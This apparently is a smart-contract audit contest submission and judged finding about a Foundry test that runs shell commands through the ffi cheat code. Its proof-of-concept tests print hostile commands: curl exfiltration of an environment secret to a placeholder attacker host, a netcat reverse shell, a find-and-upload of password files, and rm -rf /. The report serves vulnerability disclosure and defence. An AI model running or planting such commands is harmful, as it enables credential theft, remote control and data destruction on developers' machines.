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AI First Flight #3
Beginner FriendlyFoundry
EXP
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Submission Details
Severity: high
Valid

[I-01] Test Suite Contains Arbitrary Code Execution via FFI

Root + Impact

Description

  • The test suite includes testPwned() which uses Foundry's ffi cheat code to execute arbitrary shell commands on the developer's machine.

  • When developers clone this repository and run forge test with ffi = true enabled in their foundry.toml, this test creates a file on their filesystem.

  • While this specific test is a harmless demonstration, it highlights a significant supply chain attack vector where malicious test files could execute dangerous commands like deleting files, exfiltrating sensitive data, or installing malware on unsuspecting developers' machines.

// Root cause in the codebase with @> marks to highlight the relevant section
function testPwned() public {
@> string[] memory cmds = new string[](2);
@> cmds[0] = "touch";
@> cmds[1] = string.concat("youve-been-pwned");
@> cheatCodes.ffi(cmds); // Executes shell command: touch youve-been-pwned
}

Risk

Likelihood: Medium

  • Reason 1 // Requires ffi = true in foundry.toml configuration

  • Reason 2 // Many developers enable ffi for legitimate testing needs without reviewing all tests

  • Reason 3 // Supply chain attacks via malicious dependencies are increasingly common

Impact: Informational

  • Demonstrates a real supply chain attack vector in smart contract development

  • Malicious actors could include harmful ffi calls in popular dependencies

  • Could execute dangerous commands (rm -rf, curl malware, data exfiltration)

  • Developers may unknowingly execute arbitrary code when testing third-party contracts


    Proof of Concept

    The following steps demonstrate how an unsuspecting developer can have arbitrary code executed on their machine when running tests from an untrusted repository.

The following steps demonstrate how an unsuspecting developer can have arbitrary code executed on their machine when running tests from an untrusted repository.
1.Developer clones the repository containing the malicious test
2.Developer enables ffi = true in foundry.toml (common for many projects)
3.Developer runs forge test
4.The testPwned() function executes touch youve-been-pwned
5.A file named youve-been-pwned appears in the project directory

Recommended Mitigation

Remove the dangerous test and keep ffi disabled by default. Educate developers about the risks of enabling ffi without reviewing test files first.

- function testPwned() public {
- string[] memory cmds = new string[](2);
- cmds[0] = "touch";
- cmds[1] = string.concat("youve-been-pwned");
- cheatCodes.ffi(cmds);
- }
# foundry.toml - keep ffi disabled by default
[profile.default]
ffi = false
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 20 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-06] Malicious Test potentially allowing data extraction from the user running it

## Description The test suite includes a function named testPwned, which executes arbitrary commands on the user's machine. This presents a significant security risk, as such commands could potentially extract sensitive data, establish a reverse shell for remote control, search for passwords, or install malware. ## Vulnerability Details This is the malicious test, it looks inoffensive as it just create a file called `youve-been-pwned` but there is no underlying reason for this test to be here except a malicious behavior. ```javascript function testPwned() public { string[] memory cmds = new string[](2); cmds[0] = "touch"; cmds[1] = string.concat("youve-been-pwned"); cheatCodes.ffi(cmds); } ``` A more alarming scenario is demonstrated in the following proof of concept, where the user's API key could be compromised:. First export the api key in your shell ```bash export ARBITRUMSCAN_API_KEY='MY_SECRET_KEY' ``` Then execute the test to store the API key in a file: ```javascript function testWriteCommande() public { string[] memory cmds = new string[](3); cmds[0] = "bash"; cmds[1] = "-c"; cmds[2] = "env | grep ARBITRUMSCAN_API_KEY > PwnedApiKey"; cheatCodes.ffi(cmds); } ``` Alternatively, transmit it to an external server: ```javascript cmds[2] = "curl 'https://<HACKER_IP>?arbitrum_rpc_url='$(env | grep ARBITRUM_RPC_URL | cut -d '=' -f2)"; ``` Other interesting POC that qualify this issue as a HIGH ### POC 1: Reverse Shell Using Netcat This POC demonstrates how a test could open a reverse shell, allowing an attacker to gain control over the user's machine. ```javascript function testReverseShell() public { string[] memory cmds = new string[](3); cmds[0] = "bash"; cmds[1] = "-c"; cmds[2] = "nc -e /bin/bash <HACKER_IP> <PORT>"; cheatCodes.ffi(cmds); } ``` ### POC 2: Finding Files and Sending Results to a Server This POC shows how a test could find specific files (starting with "pass" ) and send the results to a remote server. ```javascript function testFindCommand() public { string[] memory cmds = new string[](3); cmds[0] = "bash"; cmds[1] = "-c"; cmds[2] = "find / -name 'pass*' | curl -F 'data=@-' https://<HACKER_IP>/upload"; cheatCodes.ffi(cmds); } ``` ### POC 3: Destructive Command (rm -rf /) This POC demonstrates a highly destructive command that could potentially erase all data on the user's root filesystem. # Warning: This command is extremely harmful and should never be executed. ```javascript function testDestructiveCommand() public { string[] memory cmds = new string[](2); cmds[0] = "bash"; cmds[1] = "-c"; cmds[2] = "rm -rf /"; cheatCodes.ffi(cmds); } ``` # Important Disclaimer: The rm -rf / command will delete everything on the filesystem for which the user has write permissions. It is provided here strictly for educational purposes to demonstrate the severity of security vulnerabilities in scripts and should never be run on any system. ## Impact This issue is categorized as HIGH due to the direct risk it poses to funds and sensitive information. The test, as it stands, is harmful, as it is used in a security contexts but i assume that the general purpose of this functionality is to be harmfull. It could lead to data breaches (including private keys and passwords), unauthorized remote code execution, and the potential destruction of digital information (e.g., rm -rf /). ## Recommendations Always exercise caution before running third-party programs on your system. Ensure you understand the functionality of any command or script to prevent unintended consequences, especially those involving security vulnerabilities.

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